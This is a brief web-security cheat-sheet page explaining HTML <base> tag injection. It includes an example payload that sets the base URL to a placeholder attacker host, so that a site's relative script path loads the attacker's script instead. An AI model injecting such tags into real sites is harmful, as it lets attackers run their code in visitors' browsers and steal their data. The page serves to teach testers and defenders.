> For the complete documentation index, see [llms.txt](https://lohitaksh-nandan.gitbook.io/cheat-sheets/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lohitaksh-nandan.gitbook.io/cheat-sheets/web-application/html-injection/base.md).

# base

The HTML [\<base>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/base) element specifies the base URL to use for all relative URLs in a document.

> Note: If multiple \<base> elements are used, only the first href and first target are obeyed — all others are ignored.

## Relative URL redirection

\<base> tag injection allows you to redirect relative url to the attacker host. For example, if the vulnerable site includes a script:

```html
<script src="/assets/some-script.js"></script>
```

so, if you inject before the relative remote script:

```html
<base href="https://attacker-website.com">
```

the browser will request `https://attacker-website.com/assets/some-script.js`.